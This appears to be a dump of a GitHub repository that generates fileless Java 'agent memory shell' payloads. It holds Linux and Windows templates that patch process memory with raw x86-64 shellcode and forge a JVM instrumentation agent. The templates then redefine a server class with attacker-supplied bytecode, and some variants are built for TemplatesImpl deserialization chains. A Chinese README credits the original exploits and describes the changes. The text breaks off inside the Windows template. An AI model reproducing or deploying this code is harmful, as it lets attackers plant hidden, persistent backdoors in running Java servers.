Repository: whocansee/FilelessAgentMemShell
Branch: main
Commit: 2f8a367faaee
Files: 13
Total size: 16.6 MB
Directory structure:
gitextract_xbzp2hf4/
├── FilelessAgentMemshellGenerator.iml
├── MemShellSrc/
│ ├── LinuxAgentMemShell
│ ├── LinuxAgentMemShellWithTpl
│ ├── README.md
│ ├── WindowsAgentMemShell
│ ├── WindowsAgentMemShellBeyondJDK8
│ ├── WindowsAgentMemShellBeyondJDK8WithTpl
│ ├── WindowsAgentMemShellWithTpl
│ └── repairTpl.java
├── README.md
├── src/
│ └── whocansee/
│ └── AgentMemshell/
│ └── main0.java
└── testEnvironment/
├── demo.jar
└── readme.md
================================================
FILE CONTENTS
================================================
================================================
FILE: FilelessAgentMemshellGenerator.iml
================================================
<?xml version="1.0" encoding="UTF-8"?>
<module type="JAVA_MODULE" version="4">
<component name="NewModuleRootManager" inherit-compiler-output="true">
<exclude-output />
<content url="file://$MODULE_DIR$">
<sourceFolder url="file://$MODULE_DIR$/MemShellSrc" type="java-resource" />
<sourceFolder url="file://$MODULE_DIR$/src" isTestSource="false" />
</content>
<orderEntry type="inheritedJdk" />
<orderEntry type="sourceFolder" forTests="false" />
<orderEntry type="library" name="commons.cli" level="project" />
</component>
</module>
================================================
FILE: MemShellSrc/LinuxAgentMemShell
================================================
import sun.misc.Unsafe;
import java.io.BufferedReader;
import java.io.FileReader;
import java.io.IOException;
import java.io.RandomAccessFile;
import java.lang.instrument.ClassDefinition;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.Method;
import java.nio.ByteBuffer;
import java.nio.ByteOrder;
import java.util.Base64;
public class AgentMemShell {
static {
try {
agentForLinux("{{var1}}", Base64.getDecoder().decode("{{var2}}"));
} catch (Exception e) {
throw new RuntimeException(e);
}
}
public static void agentForLinux(String className,byte[] classBody) throws Exception {
FileReader fin = new FileReader("/proc/self/maps");
BufferedReader reader = new BufferedReader(fin);
String line;
long RandomAccessFile_length = 0, JNI_GetCreatedJavaVMs = 0;
while ((line = reader.readLine()) != null)
{
String[] splits = line.trim().split(" ");
if(line.endsWith("libjava.so") && RandomAccessFile_length == 0) {
String[] addr_range = splits[0].split("-");
long libbase = Long.parseLong(addr_range[0], 16);
String elfpath = splits[splits.length - 1];
RandomAccessFile_length = find_symbol(elfpath, "Java_java_io_RandomAccessFile_length", libbase);
}else if(line.endsWith("libjvm.so") && JNI_GetCreatedJavaVMs == 0) {
String[] addr_range = splits[0].split("-");
long libbase = Long.parseLong(addr_range[0], 16);
String elfpath = splits[splits.length - 1];
JNI_GetCreatedJavaVMs = find_symbol(elfpath, "JNI_GetCreatedJavaVMs", libbase);
}
if(JNI_GetCreatedJavaVMs != 0 && RandomAccessFile_length != 0)
break;
}
fin.close();
//Modify the native code of Java_java_io_RandomAccessFile_open0 to call JNI_GetCreatedJavaVMs to get JavaVMs, and then get jvmtienv through JavaVMs
RandomAccessFile fout = new RandomAccessFile("/proc/self/mem", "rw");
//RSP 16-byte alignment
byte[] stack_align = {0x55, 0x48, (byte)0x89, (byte)0xe5, 0x48, (byte)0xc7, (byte)0xc0, 0xf, 0, 0, 0, 0x48, (byte)0xf7, (byte)0xd0};
byte[] movabs_rax = {0x48, (byte) 0xb8};
ByteBuffer buffer = ByteBuffer.allocate(Long.BYTES);
buffer.order(ByteOrder.LITTLE_ENDIAN);
buffer.putLong(0, JNI_GetCreatedJavaVMs);
byte[] b = {0x48, (byte) 0x83, (byte) 0xEC, 0x40, 0x48, 0x31, (byte) 0xF6, 0x48, (byte) 0xFF, (byte) 0xC6, 0x48, (byte) 0x8D, 0x54, 0x24, 0x04, 0x48,
(byte) 0x8D, 0x7C, 0x24, 0x08, (byte) 0xFF, (byte) 0xD0, 0x48, (byte) 0x8B, 0x7C, 0x24, 0x08, 0x48, (byte) 0x8D, 0x74, 0x24, 0x10,
(byte) 0xBA, 0x00, 0x02, 0x01, 0x30, 0x48, (byte) 0x8B, 0x07, (byte) 0xFF, 0x50, 0x30, 0x48, (byte) 0x8B, 0x44, 0x24, 0x10,
0x48, (byte) 0x83, (byte) 0xC4, 0x40, (byte)0xC9, (byte) 0xC3 };
int shellcode_len = b.length + 8 + movabs_rax.length + stack_align.length;
long landingpad = RandomAccessFile_length;
byte[] backup = new byte[shellcode_len];
fout.seek(landingpad);
fout.read(backup);
fout.seek(landingpad);
fout.write(stack_align);
fout.write(movabs_rax);
fout.write(buffer.array());
fout.write(b);
fout.close();
long native_jvmtienv = fout.length();
//Recovery Code
fout = new RandomAccessFile("/proc/self/mem", "rw");
fout.seek(RandomAccessFile_length);
fout.write(backup);
fout.close();
Unsafe unsafe = null;
try {
Field field = sun.misc.Unsafe.class.getDeclaredField("theUnsafe");
field.setAccessible(true);
unsafe = (sun.misc.Unsafe) field.get(null);
} catch (Exception e) {
throw new AssertionError(e);
}
//Modified by whocansee: Fill all three positions with values so that they are common across JDK8~JDK11.
unsafe.putByte(native_jvmtienv + 377, (byte) 2);
unsafe.putByte(native_jvmtienv + 369, (byte) 2);
unsafe.putByte(native_jvmtienv + 361, (byte) 2);
//When faking the JPLISAgent structure, you only need to fill in mJVMTIEnv in mNormalEnvironment, and the other variables are not actually used in the code.
long JPLISAgent = unsafe.allocateMemory(0x1000);
unsafe.putLong(JPLISAgent + 8, native_jvmtienv);
//Instantiating InstrumentationImpl with a fake JPLISAgent structure
try {
Class<?> instrument_clazz = Class.forName("sun.instrument.InstrumentationImpl");
Constructor<?> constructor = instrument_clazz.getDeclaredConstructor(long.class, boolean.class, boolean.class);
constructor.setAccessible(true);
Object inst = constructor.newInstance(JPLISAgent, true, false);
ClassDefinition definition = new ClassDefinition(Class.forName(className), classBody);
Method redefineClazz = instrument_clazz.getMethod("redefineClasses", ClassDefinition[].class);
redefineClazz.invoke(inst, new Object[] {
new ClassDefinition[] {
definition
}
});
}catch(Exception e) {
e.printStackTrace();
}
fout.getFD();
}
private static final int SHT_DYNSYM = 11;
private static final int STT_FUNC =2;
private static final int STT_GNU_IFUNC =10;
private static int ELF_ST_TYPE(int x) {
return (x & 0xf);
}
static long find_symbol(String elfpath, String sym, long libbase) throws IOException {
long func_ptr = 0;
RandomAccessFile fin = new RandomAccessFile(elfpath, "r");
byte[] e_ident = new byte[16];
fin.read(e_ident);
short e_type = Short.reverseBytes(fin.readShort());
short e_machine = Short.reverseBytes(fin.readShort());
int e_version = Integer.reverseBytes(fin.readInt());
long e_entry = Long.reverseBytes(fin.readLong());
long e_phoff = Long.reverseBytes(fin.readLong());
long e_shoff = Long.reverseBytes(fin.readLong());
int e_flags = Integer.reverseBytes(fin.readInt());
short e_ehsize = Short.reverseBytes(fin.readShort());
short e_phentsize = Short.reverseBytes(fin.readShort());
short e_phnum = Short.reverseBytes(fin.readShort());
short e_shentsize = Short.reverseBytes(fin.readShort());
short e_shnum = Short.reverseBytes(fin.readShort());
short e_shstrndx = Short.reverseBytes(fin.readShort());
int sh_name = 0;
int sh_type = 0;
long sh_flags = 0;
long sh_addr = 0;
long sh_offset = 0;
long sh_size = 0;
int sh_link = 0;
int sh_info = 0;
long sh_addralign = 0;
long sh_entsize = 0;
for(int i = 0; i < e_shnum; ++i) {
fin.seek(e_shoff + i*64);
sh_name = Integer.reverseBytes(fin.readInt());
sh_type = Integer.reverseBytes(fin.readInt());
sh_flags = Long.reverseBytes(fin.readLong());
sh_addr = Long.reverseBytes(fin.readLong());
sh_offset = Long.reverseBytes(fin.readLong());
sh_size = Long.reverseBytes(fin.readLong());
sh_link = Integer.reverseBytes(fin.readInt());
sh_info = Integer.reverseBytes(fin.readInt());
sh_addralign = Long.reverseBytes(fin.readLong());
sh_entsize = Long.reverseBytes(fin.readLong());
if(sh_type == SHT_DYNSYM) {
break;
}
}
int symtab_shdr_sh_link = sh_link;
long symtab_shdr_sh_size = sh_size;
long symtab_shdr_sh_entsize = sh_entsize;
long symtab_shdr_sh_offset = sh_offset;
fin.seek(e_shoff + symtab_shdr_sh_link * e_shentsize);
sh_name = Integer.reverseBytes(fin.readInt());
sh_type = Integer.reverseBytes(fin.readInt());
sh_flags = Long.reverseBytes(fin.readLong());
sh_addr = Long.reverseBytes(fin.readLong());
sh_offset = Long.reverseBytes(fin.readLong());
sh_size = Long.reverseBytes(fin.readLong());
sh_link = Integer.reverseBytes(fin.readInt());
sh_info = Integer.reverseBytes(fin.readInt());
sh_addralign = Long.reverseBytes(fin.readLong());
sh_entsize = Long.reverseBytes(fin.readLong());
long symstr_shdr_sh_offset = sh_offset;
long cnt = symtab_shdr_sh_entsize > 0 ? symtab_shdr_sh_size/symtab_shdr_sh_entsize : 0;
for(long i = 0; i < cnt; ++i) {
fin.seek(symtab_shdr_sh_offset + symtab_shdr_sh_entsize*i);
int st_name = Integer.reverseBytes(fin.readInt());
byte st_info = fin.readByte();
byte st_other = fin.readByte();
short st_shndx = Short.reverseBytes(fin.readShort());
long st_value = Long.reverseBytes(fin.readLong());
long st_size = Long.reverseBytes(fin.readLong());
if(st_value == 0
|| st_name == 0
|| (ELF_ST_TYPE(st_info) != STT_FUNC && ELF_ST_TYPE(st_info) != STT_GNU_IFUNC))
{
continue;
}
fin.seek(symstr_shdr_sh_offset + st_name);
String name = "";
byte ch = 0;
while((ch = fin.readByte()) != 0)
{
name += (char)ch;
}
if(sym.equals(name))
{
func_ptr = libbase + st_value;
break;
}
}
fin.close();
return func_ptr;
}
}
================================================
FILE: MemShellSrc/LinuxAgentMemShellWithTpl
================================================
import sun.misc.Unsafe;
import java.io.BufferedReader;
import java.io.FileReader;
import java.io.IOException;
import java.io.RandomAccessFile;
import java.lang.instrument.ClassDefinition;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.Method;
import java.nio.ByteBuffer;
import java.nio.ByteOrder;
import java.util.Base64;
import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
public class AgentMemShell extends AbstractTranslet{
static {
try {
agentForLinux("{{var1}}", Base64.getDecoder().decode("{{var2}}"));
} catch (Exception e) {
throw new RuntimeException(e);
}
}
public static void agentForLinux(String className,byte[] classBody) throws Exception {
FileReader fin = new FileReader("/proc/self/maps");
BufferedReader reader = new BufferedReader(fin);
String line;
long RandomAccessFile_length = 0, JNI_GetCreatedJavaVMs = 0;
while ((line = reader.readLine()) != null)
{
String[] splits = line.trim().split(" ");
if(line.endsWith("libjava.so") && RandomAccessFile_length == 0) {
String[] addr_range = splits[0].split("-");
long libbase = Long.parseLong(addr_range[0], 16);
String elfpath = splits[splits.length - 1];
RandomAccessFile_length = find_symbol(elfpath, "Java_java_io_RandomAccessFile_length", libbase);
}else if(line.endsWith("libjvm.so") && JNI_GetCreatedJavaVMs == 0) {
String[] addr_range = splits[0].split("-");
long libbase = Long.parseLong(addr_range[0], 16);
String elfpath = splits[splits.length - 1];
JNI_GetCreatedJavaVMs = find_symbol(elfpath, "JNI_GetCreatedJavaVMs", libbase);
}
if(JNI_GetCreatedJavaVMs != 0 && RandomAccessFile_length != 0)
break;
}
fin.close();
//Modify the native code of Java_java_io_RandomAccessFile_open0 to call JNI_GetCreatedJavaVMs to get JavaVMs, and then get jvmtienv through JavaVMs
RandomAccessFile fout = new RandomAccessFile("/proc/self/mem", "rw");
//RSP 16-byte alignment
byte[] stack_align = {0x55, 0x48, (byte)0x89, (byte)0xe5, 0x48, (byte)0xc7, (byte)0xc0, 0xf, 0, 0, 0, 0x48, (byte)0xf7, (byte)0xd0};
byte[] movabs_rax = {0x48, (byte) 0xb8};
ByteBuffer buffer = ByteBuffer.allocate(Long.BYTES);
buffer.order(ByteOrder.LITTLE_ENDIAN);
buffer.putLong(0, JNI_GetCreatedJavaVMs);
byte[] b = {0x48, (byte) 0x83, (byte) 0xEC, 0x40, 0x48, 0x31, (byte) 0xF6, 0x48, (byte) 0xFF, (byte) 0xC6, 0x48, (byte) 0x8D, 0x54, 0x24, 0x04, 0x48,
(byte) 0x8D, 0x7C, 0x24, 0x08, (byte) 0xFF, (byte) 0xD0, 0x48, (byte) 0x8B, 0x7C, 0x24, 0x08, 0x48, (byte) 0x8D, 0x74, 0x24, 0x10,
(byte) 0xBA, 0x00, 0x02, 0x01, 0x30, 0x48, (byte) 0x8B, 0x07, (byte) 0xFF, 0x50, 0x30, 0x48, (byte) 0x8B, 0x44, 0x24, 0x10,
0x48, (byte) 0x83, (byte) 0xC4, 0x40, (byte)0xC9, (byte) 0xC3 };
int shellcode_len = b.length + 8 + movabs_rax.length + stack_align.length;
long landingpad = RandomAccessFile_length;
byte[] backup = new byte[shellcode_len];
fout.seek(landingpad);
fout.read(backup);
fout.seek(landingpad);
fout.write(stack_align);
fout.write(movabs_rax);
fout.write(buffer.array());
fout.write(b);
fout.close();
long native_jvmtienv = fout.length();
//Recovery Code
fout = new RandomAccessFile("/proc/self/mem", "rw");
fout.seek(RandomAccessFile_length);
fout.write(backup);
fout.close();
Unsafe unsafe = null;
try {
Field field = sun.misc.Unsafe.class.getDeclaredField("theUnsafe");
field.setAccessible(true);
unsafe = (sun.misc.Unsafe) field.get(null);
} catch (Exception e) {
throw new AssertionError(e);
}
//Modified by whocansee: Fill all three positions with values so that they are common across JDK8~JDK11.
unsafe.putByte(native_jvmtienv + 377, (byte) 2);
unsafe.putByte(native_jvmtienv + 369, (byte) 2);
unsafe.putByte(native_jvmtienv + 361, (byte) 2);
//When faking the JPLISAgent structure, you only need to fill in mJVMTIEnv in mNormalEnvironment, and the other variables are not actually used in the code.
long JPLISAgent = unsafe.allocateMemory(0x1000);
unsafe.putLong(JPLISAgent + 8, native_jvmtienv);
//Instantiating InstrumentationImpl with a fake JPLISAgent structure
try {
Class<?> instrument_clazz = Class.forName("sun.instrument.InstrumentationImpl");
Constructor<?> constructor = instrument_clazz.getDeclaredConstructor(long.class, boolean.class, boolean.class);
constructor.setAccessible(true);
Object inst = constructor.newInstance(JPLISAgent, true, false);
ClassDefinition definition = new ClassDefinition(Class.forName(className), classBody);
Method redefineClazz = instrument_clazz.getMethod("redefineClasses", ClassDefinition[].class);
redefineClazz.invoke(inst, new Object[] {
new ClassDefinition[] {
definition
}
});
}catch(Exception e) {
e.printStackTrace();
}
fout.getFD();
}
private static final int SHT_DYNSYM = 11;
private static final int STT_FUNC =2;
private static final int STT_GNU_IFUNC =10;
private static int ELF_ST_TYPE(int x) {
return (x & 0xf);
}
static long find_symbol(String elfpath, String sym, long libbase) throws IOException {
long func_ptr = 0;
RandomAccessFile fin = new RandomAccessFile(elfpath, "r");
byte[] e_ident = new byte[16];
fin.read(e_ident);
short e_type = Short.reverseBytes(fin.readShort());
short e_machine = Short.reverseBytes(fin.readShort());
int e_version = Integer.reverseBytes(fin.readInt());
long e_entry = Long.reverseBytes(fin.readLong());
long e_phoff = Long.reverseBytes(fin.readLong());
long e_shoff = Long.reverseBytes(fin.readLong());
int e_flags = Integer.reverseBytes(fin.readInt());
short e_ehsize = Short.reverseBytes(fin.readShort());
short e_phentsize = Short.reverseBytes(fin.readShort());
short e_phnum = Short.reverseBytes(fin.readShort());
short e_shentsize = Short.reverseBytes(fin.readShort());
short e_shnum = Short.reverseBytes(fin.readShort());
short e_shstrndx = Short.reverseBytes(fin.readShort());
int sh_name = 0;
int sh_type = 0;
long sh_flags = 0;
long sh_addr = 0;
long sh_offset = 0;
long sh_size = 0;
int sh_link = 0;
int sh_info = 0;
long sh_addralign = 0;
long sh_entsize = 0;
for(int i = 0; i < e_shnum; ++i) {
fin.seek(e_shoff + i*64);
sh_name = Integer.reverseBytes(fin.readInt());
sh_type = Integer.reverseBytes(fin.readInt());
sh_flags = Long.reverseBytes(fin.readLong());
sh_addr = Long.reverseBytes(fin.readLong());
sh_offset = Long.reverseBytes(fin.readLong());
sh_size = Long.reverseBytes(fin.readLong());
sh_link = Integer.reverseBytes(fin.readInt());
sh_info = Integer.reverseBytes(fin.readInt());
sh_addralign = Long.reverseBytes(fin.readLong());
sh_entsize = Long.reverseBytes(fin.readLong());
if(sh_type == SHT_DYNSYM) {
break;
}
}
int symtab_shdr_sh_link = sh_link;
long symtab_shdr_sh_size = sh_size;
long symtab_shdr_sh_entsize = sh_entsize;
long symtab_shdr_sh_offset = sh_offset;
fin.seek(e_shoff + symtab_shdr_sh_link * e_shentsize);
sh_name = Integer.reverseBytes(fin.readInt());
sh_type = Integer.reverseBytes(fin.readInt());
sh_flags = Long.reverseBytes(fin.readLong());
sh_addr = Long.reverseBytes(fin.readLong());
sh_offset = Long.reverseBytes(fin.readLong());
sh_size = Long.reverseBytes(fin.readLong());
sh_link = Integer.reverseBytes(fin.readInt());
sh_info = Integer.reverseBytes(fin.readInt());
sh_addralign = Long.reverseBytes(fin.readLong());
sh_entsize = Long.reverseBytes(fin.readLong());
long symstr_shdr_sh_offset = sh_offset;
long cnt = symtab_shdr_sh_entsize > 0 ? symtab_shdr_sh_size/symtab_shdr_sh_entsize : 0;
for(long i = 0; i < cnt; ++i) {
fin.seek(symtab_shdr_sh_offset + symtab_shdr_sh_entsize*i);
int st_name = Integer.reverseBytes(fin.readInt());
byte st_info = fin.readByte();
byte st_other = fin.readByte();
short st_shndx = Short.reverseBytes(fin.readShort());
long st_value = Long.reverseBytes(fin.readLong());
long st_size = Long.reverseBytes(fin.readLong());
if(st_value == 0
|| st_name == 0
|| (ELF_ST_TYPE(st_info) != STT_FUNC && ELF_ST_TYPE(st_info) != STT_GNU_IFUNC))
{
continue;
}
fin.seek(symstr_shdr_sh_offset + st_name);
String name = "";
byte ch = 0;
while((ch = fin.readByte()) != 0)
{
name += (char)ch;
}
if(sym.equals(name))
{
func_ptr = libbase + st_value;
break;
}
}
fin.close();
return func_ptr;
}
@Override
public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {
}
@Override
public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {
}
}
================================================
FILE: MemShellSrc/README.md
================================================
## EXP来源
https://xz.aliyun.com/t/11640
对于Windows目标 [rebeyond](https://xz.aliyun.com/u/8697)
对于Linux目标 [**游望之**](https://xz.aliyun.com/u/40732)
## 修改
### Windows
原EXP中,rebeyond将类名设置为`WindowsVirtualMachine`,从而能够调用`enqueue`方法
但这无法应对JDK8以上的环境,也不能无视目标是否已经加载过这个类
参考其在[另一篇文章](https://xz.aliyun.com/t/10075#toc-4)中提出的方法:
**自定义类调用系统Native库函数**,再将这个类硬编码在最终类中,在类里**再写一个**类加载器,调用它去解码并加载类
这个操作会多生成一个内部类,而在实际注入中并不能一次性加载多个类,因此我**做了一些修改 :**
**直接让最终类继承ClassLoader**,然后再在其静态代码块中加载自定义的类,从而能够无视目标类加载情况一次完成注入
### Linux
没有进行专门的修改
### 适配生成器
- 向多个可能的内存地址都填充值
```java
unsafe.putByte(native_jvmtienv + 377, (byte) 2);
unsafe.putByte(native_jvmtienv + 361, (byte) 2);
unsafe.putByte(native_jvmtienv + 369, (byte) 2);
```
- 将注入逻辑从待调用的方法中移到了静态代码块中
- 向类名和字节码中填充了占位符
- 增添了几个适用于templatesImpl或Java 8以上目标环境的EXP版本
================================================
FILE: MemShellSrc/WindowsAgentMemShell
================================================
import sun.misc.Unsafe;
import java.io.IOException;
import java.lang.instrument.ClassDefinition;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.Method;
import java.util.Base64;
public class AgentMemShell extends ClassLoader
{
public Class get(byte[] b) {
return super.defineClass(b, 0, b.length);
}
public static int pointerLength={{var3}};
static {
try {
AgentForWindows("{{var1}}", Base64.getDecoder().decode("{{var2}}"));
} catch (Exception e) {
throw new RuntimeException(e);
}
}
static native void enqueue(long hProcess, byte[] stub,
String cmd, String pipename, Object... args) throws IOException;
public static void AgentForWindows (String className,byte[] classBody) throws Exception {
String classStr = "yv66vgAAADQALwoABwAeCAAfCgAgACEF//////////8IACIHACMKAAsAJAcAJQoACQAmBwAnAQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEAB2VucXVldWUBAD0oSltCTGphdmEvbGFuZy9TdHJpbmc7TGphdmEvbGFuZy9TdHJpbmc7W0xqYXZhL2xhbmcvT2JqZWN0OylWAQAKRXhjZXB0aW9ucwcAKAEAC29wZW5Qcm9jZXNzAQAEKEkpSgEAA3J1bgEABShbQilWAQANU3RhY2tNYXBUYWJsZQcAJQcAKQcAKgEAClNvdXJjZUZpbGUBABpXaW5kb3dzVmlydHVhbE1hY2hpbmUuamF2YQwADAANAQAGYXR0YWNoBwArDAAsAC0BAAR0ZXN0AQAQamF2YS9sYW5nL09iamVjdAwAEAARAQATamF2YS9sYW5nL0V4Y2VwdGlvbgwALgANAQAmc3VuL3Rvb2xzL2F0dGFjaC9XaW5kb3dzVmlydHVhbE1hY2hpbmUBABNqYXZhL2lvL0lPRXhjZXB0aW9uAQATamF2YS9sYW5nL1Rocm93YWJsZQEAAltCAQAQamF2YS9sYW5nL1N5c3RlbQEAC2xvYWRMaWJyYXJ5AQAVKExqYXZhL2xhbmcvU3RyaW5nOylWAQAPcHJpbnRTdGFja1RyYWNlACEACwAHAAAAAAAEAAEADAANAAEADgAAAB0AAQABAAAABSq3AAGxAAAAAQAPAAAABgABAAAABQGIABAAEQABABIAAAAEAAEAEwEIABQAFQABABIAAAAEAAEAEwAJABYAFwABAA4AAAC/AAYABAAAADoSArgAAxQABCoSBhIGA70AB7gACKcAJUwrtgAKpwAdTRQABCoSBhIGA70AB7gACKcACE4ttgAKLL+xAAMABQAUABcACQAAAAUAHwAAACAALwAyAAkAAgAPAAAANgANAAAACwAFAA4AFAARABcADwAYABAAHAASAB8ADQAgAA4ALwARADIADwAzABAANwASADkAEwAYAAAAHwAFVwcAGUcHABr/ABIAAwcAGwAHABoAAQcAGQT5AAEAAQAcAAAAAgAd";
Class result = new AgentMemShell().get(Base64.getDecoder().decode(classStr));
Unsafe unsafe = null;
try {
Field field = sun.misc.Unsafe.class.getDeclaredField("theUnsafe");
field.setAccessible(true);
unsafe = (sun.misc.Unsafe) field.get(null);
} catch (Exception e) {
throw new AssertionError(e);
}
long JPLISAgent = unsafe.allocateMemory(0x1000);
byte[] buf=new byte[]{(byte)0x48,(byte)0x83,(byte)0xEC,(byte)0x28,(byte)0x48,(byte)0x83,(byte)0xE4,(byte)0xF0,(byte)0x48,(byte)0x31,(byte)0xC9,(byte)0x65,(byte)0x48,(byte)0x8B,(byte)0x41,(byte)0x60,(byte)0x48,(byte)0x8B,(byte)0x40,(byte)0x18,(byte)0x48,(byte)0x8B,(byte)0x70,(byte)0x20,(byte)0x48,(byte)0xAD,(byte)0x48,(byte)0x96,(byte)0x48,(byte)0xAD,(byte)0x48,(byte)0x8B,(byte)0x58,(byte)0x20,(byte)0x4D,(byte)0x31,(byte)0xC0,(byte)0x44,(byte)0x8B,(byte)0x43,(byte)0x3C,(byte)0x4C,(byte)0x89,(byte)0xC2,(byte)0x48,(byte)0x01,(byte)0xDA,(byte)0x44,(byte)0x8B,(byte)0x82,(byte)0x88,(byte)0x00,(byte)0x00,(byte)0x00,(byte)0x49,(byte)0x01,(byte)0xD8,(byte)0x48,(byte)0x31,(byte)0xF6,(byte)0x41,(byte)0x8B,(byte)0x70,(byte)0x20,(byte)0x48,(byte)0x01,(byte)0xDE,(byte)0x48,(byte)0x31,(byte)0xC9,(byte)0x49,(byte)0xB9,(byte)0x47,(byte)0x65,(byte)0x74,(byte)0x50,(byte)0x72,(byte)0x6F,(byte)0x63,(byte)0x41,(byte)0x48,(byte)0xFF,(byte)0xC1,(byte)0x48,(byte)0x31,(byte)0xC0,(byte)0x8B,(byte)0x04,(byte)0x8E,(byte)0x48,(byte)0x01,(byte)0xD8,(byte)0x4C,(byte)0x39,(byte)0x08,(byte)0x75,(byte)0xEF,(byte)0x48,(byte)0x31,(byte)0xF6,(byte)0x41,(byte)0x8B,(byte)0x70,(byte)0x24,(byte)0x48,(byte)0x01,(byte)0xDE,(byte)0x66,(byte)0x8B,(byte)0x0C,(byte)0x4E,(byte)0x48,(byte)0x31,(byte)0xF6,(byte)0x41,(byte)0x8B,(byte)0x70,(byte)0x1C,(byte)0x48,(byte)0x01,(byte)0xDE,(byte)0x48,(byte)0x31,(byte)0xD2,(byte)0x8B,(byte)0x14,(byte)0x8E,(byte)0x48,(byte)0x01,(byte)0xDA,(byte)0x48,(byte)0x89,(byte)0xD7,(byte)0xB9,(byte)0x61,(byte)0x72,(byte)0x79,(byte)0x41,(byte)0x51,(byte)0x48,(byte)0xB9,(byte)0x4C,(byte)0x6F,(byte)0x61,(byte)0x64,(byte)0x4C,(byte)0x69,(byte)0x62,(byte)0x72,(byte)0x51,(byte)0x48,(byte)0x89,(byte)0xE2,(byte)0x48,(byte)0x89,(byte)0xD9,(byte)0x48,(byte)0x83,(byte)0xEC,(byte)0x30,(byte)0xFF,(byte)0xD7,(byte)0x48,(byte)0x83,(byte)0xC4,(byte)0x30,(byte)0x48,(byte)0x83,(byte)0xC4,(byte)0x10,(byte)0x48,(byte)0x89,(byte)0xC6,(byte)0xB9,(byte)0x6C,(byte)0x6C,(byte)0x00,(byte)0x00,(byte)0x51,(byte)0xB9,(byte)0x6A,(byte)0x76,(byte)0x6D,(byte)0x00,(byte)0x51,(byte)0x48,(byte)0x89,(byte)0xE1,(byte)0x48,(byte)0x83,(byte)0xEC,(byte)0x30,(byte)0xFF,(byte)0xD6,(byte)0x48,(byte)0x83,(byte)0xC4,(byte)0x30,(byte)0x48,(byte)0x83,(byte)0xC4,(byte)0x10,(byte)0x49,(byte)0x89,(byte)0xC7,(byte)0x48,(byte)0x31,(byte)0xC9,(byte)0x48,(byte)0xB9,(byte)0x76,(byte)0x61,(byte)0x56,(byte)0x4D,(byte)0x73,(byte)0x00,(byte)0x00,(byte)0x00,(byte)0x51,(byte)0x48,(byte)0xB9,(byte)0x72,(byte)0x65,(byte)0x61,(byte)0x74,(byte)0x65,(byte)0x64,(byte)0x4A,(byte)0x61,(byte)0x51,(byte)0x48,(byte)0xB9,(byte)0x4A,(byte)0x4E,(byte)0x49,(byte)0x5F,(byte)0x47,(byte)0x65,(byte)0x74,(byte)0x43,(byte)0x51,(byte)0x48,(byte)0x89,(byte)0xE2,(byte)0x4C,(byte)0x89,(byte)0xF9,(byte)0x48,(byte)0x83,(byte)0xEC,(byte)0x28,(byte)0xFF,(byte)0xD7,(byte)0x48,(byte)0x83,(byte)0xC4,(byte)0x28,(byte)0x48,(byte)0x83,(byte)0xC4,(byte)0x18,(byte)0x49,(byte)0x89,(byte)0xC7,(byte)0x48,(byte)0x83,(byte)0xEC,(byte)0x28,(byte)0x48,(byte)0x89,(byte)0xE1,(byte)0xBA,(byte)0x01,(byte)0x00,(byte)0x00,(byte)0x00,(byte)0x49,(byte)0x89,(byte)0xC8,(byte)0x49,(byte)0x83,(byte)0xC0,(byte)0x08,(byte)0x48,(byte)0x83,(byte)0xEC,(byte)0x28,(byte)0x41,(byte)0xFF,(byte)0xD7,(byte)0x48,(byte)0x83,(byte)0xC4,(byte)0x28,(byte)0x48,(byte)0x8B,(byte)0x09,(byte)0x48,(byte)0x83,(byte)0xEC,(byte)0x20,(byte)0x54,(byte)0x48,(byte)0x89,(byte)0xE2,(byte)0x4D,(byte)0x31,(byte)0xC0,(byte)0x4C,(byte)0x8B,(byte)0x39,(byte)0x4D,(byte)0x8B,(byte)0x7F,(byte)0x20,(byte)0x49,(byte)0x89,(byte)0xCE,(byte)0x41,(byte)0xFF,(byte)0xD7,(byte)0x4C,(byte)0x89,(byte)0xF1,(byte)0x48,(byte)0xBA,(byte)0x48,(byte)0x47,(byte)0x46,(byte)0x45,(byte)0x44,(byte)0x43,(byte)0x42,(byte)0x41,(byte)0x41,(byte)0xB8,(byte)0x00,(byte)0x02,(byte)0x01,(byte)0x30,(byte)0x4D,(byte)0x8B,(byte)0x3E,(byte)0x4D,(byte)0x8B,(byte)0x7F,(byte)0x30,(byte)0x48,(byte)0x83,(byte)0xEC,(byte)0x20,(byte)0x41,(byte)0xFF,(byte)0xD7,(byte)0x48,(byte)0x83,(byte)0xC4,(byte)0x20,(byte)0x4C,(byte)0x89,(byte)0xF1,(byte)0x4D,(byte)0x8B,(byte)0x3E,(byte)0x4D,(byte)0x8B,(byte)0x7F,(byte)0x28,(byte)0x41,(byte)0xFF,(byte)0xD7,(byte)0x48,(byte)0x83,(byte)0xC4,(byte)0x78,(byte)0xC3};
byte[] stub=new byte[]{0x48,0x47,0x46,0x45,0x44,0x43,0x42,0x41};
if (pointerLength==4) {
